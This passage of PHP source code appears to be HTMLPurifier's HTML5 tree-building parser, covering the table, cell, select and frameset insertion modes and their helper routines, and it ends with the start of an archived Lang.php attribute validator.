then the foster parent element is the first element in the
stack of open elements (the html element). Otherwise, if there
is a table element in the stack of open elements, but the last
table element in the stack of open elements has no parent, or
its parent node is not an element, then the foster parent
element is the element before the last table element in the
stack of open elements. */
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
if ($this->stack[$n]->nodeName === 'table') {
$table = $this->stack[$n];
break;
}
}
if (isset($table) && $table->parentNode !== null) {
$this->foster_parent = $table->parentNode;
} elseif (!isset($table)) {
$this->foster_parent = $this->stack[0];
} elseif (isset($table) && ($table->parentNode === null ||
$table->parentNode->nodeType !== XML_ELEMENT_NODE)
) {
$this->foster_parent = $this->stack[$n - 1];
}
}
$this->inBody($token);
}
}
private function inCaption($token)
{
/* An end tag whose tag name is "caption" */
if ($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if (!$this->elementInScope($token['name'], true)) {
// Ignore
/* Otherwise: */
} else {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* Now, if the current node is not a caption element, then this
is a parse error. */
// w/e
/* Pop elements from this stack until a caption element has
been popped from the stack. */
while (true) {
$node = end($this->stack)->nodeName;
array_pop($this->stack);
if ($node === 'caption') {
break;
}
}
/* Clear the list of active formatting elements up to the last
marker. */
$this->clearTheActiveFormattingElementsUpToTheLastMarker();
/* Switch the insertion mode to "in table". */
$this->mode = self::IN_TABLE;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag
name is "table" */
} elseif (($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array(
'caption',
'col',
'colgroup',
'tbody',
'td',
'tfoot',
'th',
'thead',
'tr'
)
)) || ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'table')
) {
/* Parse error. Act as if an end tag with the tag name "caption"
had been seen, then, if that token wasn't ignored, reprocess the
current token. */
$this->inCaption(
array(
'name' => 'caption',
'type' => HTML5::ENDTAG
)
);
return $this->inTable($token);
/* An end tag whose tag name is one of: "body", "col", "colgroup",
"html", "tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif ($token['type'] === HTML5::ENDTAG && in_array(
$token['name'],
array(
'body',
'col',
'colgroup',
'html',
'tbody',
'tfoot',
'th',
'thead',
'tr'
)
)
) {
// Parse error. Ignore the token.
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in body". */
$this->inBody($token);
}
}
private function inColumnGroup($token)
{
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append the character to the current node. */
$text = $this->dom->createTextNode($token['data']);
end($this->stack)->appendChild($text);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
end($this->stack)->appendChild($comment);
/* A start tag whose tag name is "col" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') {
/* Insert a col element for the token. Immediately pop the current
node off the stack of open elements. */
$this->insertElement($token);
array_pop($this->stack);
/* An end tag whose tag name is "colgroup" */
} elseif ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'colgroup'
) {
/* If the current node is the root html element, then this is a
parse error, ignore the token. (innerHTML case) */
if (end($this->stack)->nodeName === 'html') {
// Ignore
/* Otherwise, pop the current node (which will be a colgroup
element) from the stack of open elements. Switch the insertion
mode to "in table". */
} else {
array_pop($this->stack);
$this->mode = self::IN_TABLE;
}
/* An end tag whose tag name is "col" */
} elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') {
/* Parse error. Ignore the token. */
/* Anything else */
} else {
/* Act as if an end tag with the tag name "colgroup" had been seen,
and then, if that token wasn't ignored, reprocess the current token. */
$this->inColumnGroup(
array(
'name' => 'colgroup',
'type' => HTML5::ENDTAG
)
);
return $this->inTable($token);
}
}
private function inTableBody($token)
{
$clear = array('tbody', 'tfoot', 'thead', 'html');
/* A start tag whose tag name is "tr" */
if ($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') {
/* Clear the stack back to a table body context. */
$this->clearStackToTableContext($clear);
/* Insert a tr element for the token, then switch the insertion
mode to "in row". */
$this->insertElement($token);
$this->mode = self::IN_ROW;
/* A start tag whose tag name is one of: "th", "td" */
} elseif ($token['type'] === HTML5::STARTTAG &&
($token['name'] === 'th' || $token['name'] === 'td')
) {
/* Parse error. Act as if a start tag with the tag name "tr" had
been seen, then reprocess the current token. */
$this->inTableBody(
array(
'name' => 'tr',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
return $this->inRow($token);
/* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
} elseif ($token['type'] === HTML5::ENDTAG &&
in_array($token['name'], array('tbody', 'tfoot', 'thead'))
) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. */
if (!$this->elementInScope($token['name'], true)) {
// Ignore
/* Otherwise: */
} else {
/* Clear the stack back to a table body context. */
$this->clearStackToTableContext($clear);
/* Pop the current node from the stack of open elements. Switch
the insertion mode to "in table". */
array_pop($this->stack);
$this->mode = self::IN_TABLE;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "tfoot", "thead", or an end tag whose tag name is "table" */
} elseif (($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead')
)) ||
($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')
) {
/* If the stack of open elements does not have a tbody, thead, or
tfoot element in table scope, this is a parse error. Ignore the
token. (innerHTML case) */
if (!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) {
// Ignore.
/* Otherwise: */
} else {
/* Clear the stack back to a table body context. */
$this->clearStackToTableContext($clear);
/* Act as if an end tag with the same tag name as the current
node ("tbody", "tfoot", or "thead") had been seen, then
reprocess the current token. */
$this->inTableBody(
array(
'name' => end($this->stack)->nodeName,
'type' => HTML5::ENDTAG
)
);
return $this->mainPhase($token);
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html", "td", "th", "tr" */
} elseif ($token['type'] === HTML5::ENDTAG && in_array(
$token['name'],
array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr')
)
) {
/* Parse error. Ignore the token. */
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in table". */
$this->inTable($token);
}
}
private function inRow($token)
{
$clear = array('tr', 'html');
/* A start tag whose tag name is one of: "th", "td" */
if ($token['type'] === HTML5::STARTTAG &&
($token['name'] === 'th' || $token['name'] === 'td')
) {
/* Clear the stack back to a table row context. */
$this->clearStackToTableContext($clear);
/* Insert an HTML element for the token, then switch the insertion
mode to "in cell". */
$this->insertElement($token);
$this->mode = self::IN_CELL;
/* Insert a marker at the end of the list of active formatting
elements. */
$this->a_formatting[] = self::MARKER;
/* An end tag whose tag name is "tr" */
} elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if (!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise: */
} else {
/* Clear the stack back to a table row context. */
$this->clearStackToTableContext($clear);
/* Pop the current node (which will be a tr element) from the
stack of open elements. Switch the insertion mode to "in table
body". */
array_pop($this->stack);
$this->mode = self::IN_TBODY;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */
} elseif ($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr')
)
) {
/* Act as if an end tag with the tag name "tr" had been seen, then,
if that token wasn't ignored, reprocess the current token. */
$this->inRow(
array(
'name' => 'tr',
'type' => HTML5::ENDTAG
)
);
return $this->inCell($token);
/* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
} elseif ($token['type'] === HTML5::ENDTAG &&
in_array($token['name'], array('tbody', 'tfoot', 'thead'))
) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. */
if (!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise: */
} else {
/* Otherwise, act as if an end tag with the tag name "tr" had
been seen, then reprocess the current token. */
$this->inRow(
array(
'name' => 'tr',
'type' => HTML5::ENDTAG
)
);
return $this->inCell($token);
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html", "td", "th" */
} elseif ($token['type'] === HTML5::ENDTAG && in_array(
$token['name'],
array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr')
)
) {
/* Parse error. Ignore the token. */
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in table". */
$this->inTable($token);
}
}
private function inCell($token)
{
/* An end tag whose tag name is one of: "td", "th" */
if ($token['type'] === HTML5::ENDTAG &&
($token['name'] === 'td' || $token['name'] === 'th')
) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as that of the token, then this is a
parse error and the token must be ignored. */
if (!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise: */
} else {
/* Generate implied end tags, except for elements with the same
tag name as the token. */
$this->generateImpliedEndTags(array($token['name']));
/* Now, if the current node is not an element with the same tag
name as the token, then this is a parse error. */
// k
/* Pop elements from this stack until an element with the same
tag name as the token has been popped from the stack. */
while (true) {
$node = end($this->stack)->nodeName;
array_pop($this->stack);
if ($node === $token['name']) {
break;
}
}
/* Clear the list of active formatting elements up to the last
marker. */
$this->clearTheActiveFormattingElementsUpToTheLastMarker();
/* Switch the insertion mode to "in row". (The current node
will be a tr element at this point.) */
$this->mode = self::IN_ROW;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif ($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array(
'caption',
'col',
'colgroup',
'tbody',
'td',
'tfoot',
'th',
'thead',
'tr'
)
)
) {
/* If the stack of open elements does not have a td or th element
in table scope, then this is a parse error; ignore the token.
(innerHTML case) */
if (!$this->elementInScope(array('td', 'th'), true)) {
// Ignore.
/* Otherwise, close the cell (see below) and reprocess the current
token. */
} else {
$this->closeCell();
return $this->inRow($token);
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif ($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array(
'caption',
'col',
'colgroup',
'tbody',
'td',
'tfoot',
'th',
'thead',
'tr'
)
)
) {
/* If the stack of open elements does not have a td or th element
in table scope, then this is a parse error; ignore the token.
(innerHTML case) */
if (!$this->elementInScope(array('td', 'th'), true)) {
// Ignore.
/* Otherwise, close the cell (see below) and reprocess the current
token. */
} else {
$this->closeCell();
return $this->inRow($token);
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html" */
} elseif ($token['type'] === HTML5::ENDTAG && in_array(
$token['name'],
array('body', 'caption', 'col', 'colgroup', 'html')
)
) {
/* Parse error. Ignore the token. */
/* An end tag whose tag name is one of: "table", "tbody", "tfoot",
"thead", "tr" */
} elseif ($token['type'] === HTML5::ENDTAG && in_array(
$token['name'],
array('table', 'tbody', 'tfoot', 'thead', 'tr')
)
) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as that of the token (which can only
happen for "tbody", "tfoot" and "thead", or, in the innerHTML case),
then this is a parse error and the token must be ignored. */
if (!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise, close the cell (see below) and reprocess the current
token. */
} else {
$this->closeCell();
return $this->inRow($token);
}
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in body". */
$this->inBody($token);
}
}
private function inSelect($token)
{
/* Handle the token as follows: */
/* A character token */
if ($token['type'] === HTML5::CHARACTR) {
/* Append the token's character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag token whose tag name is "option" */
} elseif ($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'option'
) {
/* If the current node is an option element, act as if an end tag
with the tag name "option" had been seen. */
if (end($this->stack)->nodeName === 'option') {
$this->inSelect(
array(
'name' => 'option',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* A start tag token whose tag name is "optgroup" */
} elseif ($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'optgroup'
) {
/* If the current node is an option element, act as if an end tag
with the tag name "option" had been seen. */
if (end($this->stack)->nodeName === 'option') {
$this->inSelect(
array(
'name' => 'option',
'type' => HTML5::ENDTAG
)
);
}
/* If the current node is an optgroup element, act as if an end tag
with the tag name "optgroup" had been seen. */
if (end($this->stack)->nodeName === 'optgroup') {
$this->inSelect(
array(
'name' => 'optgroup',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* An end tag token whose tag name is "optgroup" */
} elseif ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'optgroup'
) {
/* First, if the current node is an option element, and the node
immediately before it in the stack of open elements is an optgroup
element, then act as if an end tag with the tag name "option" had
been seen. */
$elements_in_stack = count($this->stack);
if ($this->stack[$elements_in_stack - 1]->nodeName === 'option' &&
$this->stack[$elements_in_stack - 2]->nodeName === 'optgroup'
) {
$this->inSelect(
array(
'name' => 'option',
'type' => HTML5::ENDTAG
)
);
}
/* If the current node is an optgroup element, then pop that node
from the stack of open elements. Otherwise, this is a parse error,
ignore the token. */
if ($this->stack[$elements_in_stack - 1] === 'optgroup') {
array_pop($this->stack);
}
/* An end tag token whose tag name is "option" */
} elseif ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'option'
) {
/* If the current node is an option element, then pop that node
from the stack of open elements. Otherwise, this is a parse error,
ignore the token. */
if (end($this->stack)->nodeName === 'option') {
array_pop($this->stack);
}
/* An end tag whose tag name is "select" */
} elseif ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'select'
) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if (!$this->elementInScope($token['name'], true)) {
// w/e
/* Otherwise: */
} else {
/* Pop elements from the stack of open elements until a select
element has been popped from the stack. */
while (true) {
$current = end($this->stack)->nodeName;
array_pop($this->stack);
if ($current === 'select') {
break;
}
}
/* Reset the insertion mode appropriately. */
$this->resetInsertionMode();
}
/* A start tag whose tag name is "select" */
} elseif ($token['name'] === 'select' &&
$token['type'] === HTML5::STARTTAG
) {
/* Parse error. Act as if the token had been an end tag with the
tag name "select" instead. */
$this->inSelect(
array(
'name' => 'select',
'type' => HTML5::ENDTAG
)
);
/* An end tag whose tag name is one of: "caption", "table", "tbody",
"tfoot", "thead", "tr", "td", "th" */
} elseif (in_array(
$token['name'],
array(
'caption',
'table',
'tbody',
'tfoot',
'thead',
'tr',
'td',
'th'
)
) && $token['type'] === HTML5::ENDTAG
) {
/* Parse error. */
// w/e
/* If the stack of open elements has an element in table scope with
the same tag name as that of the token, then act as if an end tag
with the tag name "select" had been seen, and reprocess the token.
Otherwise, ignore the token. */
if ($this->elementInScope($token['name'], true)) {
$this->inSelect(
array(
'name' => 'select',
'type' => HTML5::ENDTAG
)
);
$this->mainPhase($token);
}
/* Anything else */
} else {
/* Parse error. Ignore the token. */
}
}
private function afterBody($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Process the token as it would be processed if the insertion mode
was "in body". */
$this->inBody($token);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the first element in the stack of open
elements (the html element), with the data attribute set to the
data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
$this->stack[0]->appendChild($comment);
/* An end tag with the tag name "html" */
} elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') {
/* If the parser was originally created in order to handle the
setting of an element's innerHTML attribute, this is a parse error;
ignore the token. (The element will be an html element in this
case.) (innerHTML case) */
/* Otherwise, switch to the trailing end phase. */
$this->phase = self::END_PHASE;
/* Anything else */
} else {
/* Parse error. Set the insertion mode to "in body" and reprocess
the token. */
$this->mode = self::IN_BODY;
return $this->inBody($token);
}
}
private function inFrameset($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag with the tag name "frameset" */
} elseif ($token['name'] === 'frameset' &&
$token['type'] === HTML5::STARTTAG
) {
$this->insertElement($token);
/* An end tag with the tag name "frameset" */
} elseif ($token['name'] === 'frameset' &&
$token['type'] === HTML5::ENDTAG
) {
/* If the current node is the root html element, then this is a
parse error; ignore the token. (innerHTML case) */
if (end($this->stack)->nodeName === 'html') {
// Ignore
} else {
/* Otherwise, pop the current node from the stack of open
elements. */
array_pop($this->stack);
/* If the parser was not originally created in order to handle
the setting of an element's innerHTML attribute (innerHTML case),
and the current node is no longer a frameset element, then change
the insertion mode to "after frameset". */
$this->mode = self::AFTR_FRAME;
}
/* A start tag with the tag name "frame" */
} elseif ($token['name'] === 'frame' &&
$token['type'] === HTML5::STARTTAG
) {
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Immediately pop the current node off the stack of open elements. */
array_pop($this->stack);
/* A start tag with the tag name "noframes" */
} elseif ($token['name'] === 'noframes' &&
$token['type'] === HTML5::STARTTAG
) {
/* Process the token as if the insertion mode had been "in body". */
$this->inBody($token);
/* Anything else */
} else {
/* Parse error. Ignore the token. */
}
}
private function afterFrameset($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
/* An end tag with the tag name "html" */
} elseif ($token['name'] === 'html' &&
$token['type'] === HTML5::ENDTAG
) {
/* Switch to the trailing end phase. */
$this->phase = self::END_PHASE;
/* A start tag with the tag name "noframes" */
} elseif ($token['name'] === 'noframes' &&
$token['type'] === HTML5::STARTTAG
) {
/* Process the token as if the insertion mode had been "in body". */
$this->inBody($token);
/* Anything else */
} else {
/* Parse error. Ignore the token. */
}
}
private function trailingEndPhase($token)
{
/* After the main phase, as each token is emitted from the tokenisation
stage, it must be processed as described in this section. */
/* A DOCTYPE token */
if ($token['type'] === HTML5::DOCTYPE) {
// Parse error. Ignore the token.
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the Document object with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
$this->dom->appendChild($comment);
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
} elseif ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Process the token as it would be processed in the main phase. */
$this->mainPhase($token);
/* A character token that is not one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE. Or a start tag token. Or an end tag token. */
} elseif (($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
$token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG
) {
/* Parse error. Switch back to the main phase and reprocess the
token. */
$this->phase = self::MAIN_PHASE;
return $this->mainPhase($token);
/* An end-of-file token */
} elseif ($token['type'] === HTML5::EOF) {
/* OMG DONE!! */
}
}
private function insertElement($token, $append = true, $check = false)
{
// Proprietary workaround for libxml2's limitations with tag names
if ($check) {
// Slightly modified HTML5 tag-name modification,
// removing anything that's not an ASCII letter, digit, or hyphen
$token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']);
// Remove leading hyphens and numbers
$token['name'] = ltrim($token['name'], '-0..9');
// In theory, this should ever be needed, but just in case
if ($token['name'] === '') {
$token['name'] = 'span';
} // arbitrary generic choice
}
$el = $this->dom->createElement($token['name']);
foreach ($token['attr'] as $attr) {
if (!$el->hasAttribute($attr['name'])) {
$el->setAttribute($attr['name'], $attr['value']);
}
}
$this->appendToRealParent($el);
$this->stack[] = $el;
return $el;
}
private function insertText($data)
{
$text = $this->dom->createTextNode($data);
$this->appendToRealParent($text);
}
private function insertComment($data)
{
$comment = $this->dom->createComment($data);
$this->appendToRealParent($comment);
}
private function appendToRealParent($node)
{
if ($this->foster_parent === null) {
end($this->stack)->appendChild($node);
} elseif ($this->foster_parent !== null) {
/* If the foster parent element is the parent element of the
last table element in the stack of open elements, then the new
node must be inserted immediately before the last table element
in the stack of open elements in the foster parent element;
otherwise, the new node must be appended to the foster parent
element. */
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
if ($this->stack[$n]->nodeName === 'table' &&
$this->stack[$n]->parentNode !== null
) {
$table = $this->stack[$n];
break;
}
}
if (isset($table) && $this->foster_parent->isSameNode($table->parentNode)) {
$this->foster_parent->insertBefore($node, $table);
} else {
$this->foster_parent->appendChild($node);
}
$this->foster_parent = null;
}
}
private function elementInScope($el, $table = false)
{
if (is_array($el)) {
foreach ($el as $element) {
if ($this->elementInScope($element, $table)) {
return true;
}
}
return false;
}
$leng = count($this->stack);
for ($n = 0; $n < $leng; $n++) {
/* 1. Initialise node to be the current node (the bottommost node of
the stack). */
$node = $this->stack[$leng - 1 - $n];
if ($node->tagName === $el) {
/* 2. If node is the target node, terminate in a match state. */
return true;
} elseif ($node->tagName === 'table') {
/* 3. Otherwise, if node is a table element, terminate in a failure
state. */
return false;
} elseif ($table === true && in_array(
$node->tagName,
array(
'caption',
'td',
'th',
'button',
'marquee',
'object'
)
)
) {
/* 4. Otherwise, if the algorithm is the "has an element in scope"
variant (rather than the "has an element in table scope" variant),
and node is one of the following, terminate in a failure state. */
return false;
} elseif ($node === $node->ownerDocument->documentElement) {
/* 5. Otherwise, if node is an html element (root element), terminate
in a failure state. (This can only happen if the node is the topmost
node of the stack of open elements, and prevents the next step from
being invoked if there are no more elements in the stack.) */
return false;
}
/* Otherwise, set node to the previous entry in the stack of open
elements and return to step 2. (This will never fail, since the loop
will always terminate in the previous step if the top of the stack
is reached.) */
}
}
private function reconstructActiveFormattingElements()
{
/* 1. If there are no entries in the list of active formatting elements,
then there is nothing to reconstruct; stop this algorithm. */
$formatting_elements = count($this->a_formatting);
if ($formatting_elements === 0) {
return false;
}
/* 3. Let entry be the last (most recently added) element in the list
of active formatting elements. */
$entry = end($this->a_formatting);
/* 2. If the last (most recently added) entry in the list of active
formatting elements is a marker, or if it is an element that is in the
stack of open elements, then there is nothing to reconstruct; stop this
algorithm. */
if ($entry === self::MARKER || in_array($entry, $this->stack, true)) {
return false;
}
for ($a = $formatting_elements - 1; $a >= 0; true) {
/* 4. If there are no entries before entry in the list of active
formatting elements, then jump to step 8. */
if ($a === 0) {
$step_seven = false;
break;
}
/* 5. Let entry be the entry one earlier than entry in the list of
active formatting elements. */
$a--;
$entry = $this->a_formatting[$a];
/* 6. If entry is neither a marker nor an element that is also in
thetack of open elements, go to step 4. */
if ($entry === self::MARKER || in_array($entry, $this->stack, true)) {
break;
}
}
while (true) {
/* 7. Let entry be the element one later than entry in the list of
active formatting elements. */
if (isset($step_seven) && $step_seven === true) {
$a++;
$entry = $this->a_formatting[$a];
}
/* 8. Perform a shallow clone of the element entry to obtain clone. */
$clone = $entry->cloneNode();
/* 9. Append clone to the current node and push it onto the stack
of open elements so that it is the new current node. */
end($this->stack)->appendChild($clone);
$this->stack[] = $clone;
/* 10. Replace the entry for entry in the list with an entry for
clone. */
$this->a_formatting[$a] = $clone;
/* 11. If the entry for clone in the list of active formatting
elements is not the last entry in the list, return to step 7. */
if (end($this->a_formatting) !== $clone) {
$step_seven = true;
} else {
break;
}
}
}
private function clearTheActiveFormattingElementsUpToTheLastMarker()
{
/* When the steps below require the UA to clear the list of active
formatting elements up to the last marker, the UA must perform the
following steps: */
while (true) {
/* 1. Let entry be the last (most recently added) entry in the list
of active formatting elements. */
$entry = end($this->a_formatting);
/* 2. Remove entry from the list of active formatting elements. */
array_pop($this->a_formatting);
/* 3. If entry was a marker, then stop the algorithm at this point.
The list has been cleared up to the last marker. */
if ($entry === self::MARKER) {
break;
}
}
}
private function generateImpliedEndTags($exclude = array())
{
/* When the steps below require the UA to generate implied end tags,
then, if the current node is a dd element, a dt element, an li element,
a p element, a td element, a th element, or a tr element, the UA must
act as if an end tag with the respective tag name had been seen and
then generate implied end tags again. */
$node = end($this->stack);
$elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude);
while (in_array(end($this->stack)->nodeName, $elements)) {
array_pop($this->stack);
}
}
private function getElementCategory($node)
{
$name = $node->tagName;
if (in_array($name, $this->special)) {
return self::SPECIAL;
} elseif (in_array($name, $this->scoping)) {
return self::SCOPING;
} elseif (in_array($name, $this->formatting)) {
return self::FORMATTING;
} else {
return self::PHRASING;
}
}
private function clearStackToTableContext($elements)
{
/* When the steps above require the UA to clear the stack back to a
table context, it means that the UA must, while the current node is not
a table element or an html element, pop elements from the stack of open
elements. If this causes any elements to be popped from the stack, then
this is a parse error. */
while (true) {
$node = end($this->stack)->nodeName;
if (in_array($node, $elements)) {
break;
} else {
array_pop($this->stack);
}
}
}
private function resetInsertionMode()
{
/* 1. Let last be false. */
$last = false;
$leng = count($this->stack);
for ($n = $leng - 1; $n >= 0; $n--) {
/* 2. Let node be the last node in the stack of open elements. */
$node = $this->stack[$n];
/* 3. If node is the first node in the stack of open elements, then
set last to true. If the element whose innerHTML attribute is being
set is neither a td element nor a th element, then set node to the
element whose innerHTML attribute is being set. (innerHTML case) */
if ($this->stack[0]->isSameNode($node)) {
$last = true;
}
/* 4. If node is a select element, then switch the insertion mode to
"in select" and abort these steps. (innerHTML case) */
if ($node->nodeName === 'select') {
$this->mode = self::IN_SELECT;
break;
/* 5. If node is a td or th element, then switch the insertion mode
to "in cell" and abort these steps. */
} elseif ($node->nodeName === 'td' || $node->nodeName === 'th') {
$this->mode = self::IN_CELL;
break;
/* 6. If node is a tr element, then switch the insertion mode to
"in row" and abort these steps. */
} elseif ($node->nodeName === 'tr') {
$this->mode = self::IN_ROW;
break;
/* 7. If node is a tbody, thead, or tfoot element, then switch the
insertion mode to "in table body" and abort these steps. */
} elseif (in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) {
$this->mode = self::IN_TBODY;
break;
/* 8. If node is a caption element, then switch the insertion mode
to "in caption" and abort these steps. */
} elseif ($node->nodeName === 'caption') {
$this->mode = self::IN_CAPTION;
break;
/* 9. If node is a colgroup element, then switch the insertion mode
to "in column group" and abort these steps. (innerHTML case) */
} elseif ($node->nodeName === 'colgroup') {
$this->mode = self::IN_CGROUP;
break;
/* 10. If node is a table element, then switch the insertion mode
to "in table" and abort these steps. */
} elseif ($node->nodeName === 'table') {
$this->mode = self::IN_TABLE;
break;
/* 11. If node is a head element, then switch the insertion mode
to "in body" ("in body"! not "in head"!) and abort these steps.
(innerHTML case) */
} elseif ($node->nodeName === 'head') {
$this->mode = self::IN_BODY;
break;
/* 12. If node is a body element, then switch the insertion mode to
"in body" and abort these steps. */
} elseif ($node->nodeName === 'body') {
$this->mode = self::IN_BODY;
break;
/* 13. If node is a frameset element, then switch the insertion
mode to "in frameset" and abort these steps. (innerHTML case) */
} elseif ($node->nodeName === 'frameset') {
$this->mode = self::IN_FRAME;
break;
/* 14. If node is an html element, then: if the head element
pointer is null, switch the insertion mode to "before head",
otherwise, switch the insertion mode to "after head". In either
case, abort these steps. (innerHTML case) */
} elseif ($node->nodeName === 'html') {
$this->mode = ($this->head_pointer === null)
? self::BEFOR_HEAD
: self::AFTER_HEAD;
break;
/* 15. If last is true, then set the insertion mode to "in body"
and abort these steps. (innerHTML case) */
} elseif ($last) {
$this->mode = self::IN_BODY;
break;
}
}
}
private function closeCell()
{
/* If the stack of open elements has a td or th element in table scope,
then act as if an end tag token with that tag name had been seen. */
foreach (array('td', 'th') as $cell) {
if ($this->elementInScope($cell, true)) {
$this->inCell(
array(
'name' => $cell,
'type' => HTML5::ENDTAG
)
);
break;
}
}
}
public function save()
{
return $this->dom;
}
}
PK j�$Z��� � 2 htmlpurifier/library/HTMLPurifier/AttrDef/Lang.phpnu �[��� <?php
/**
* Validates the HTML attribute lang, effectively a language code.
* @note Built according to RFC 3066, which obsoleted RFC 1766
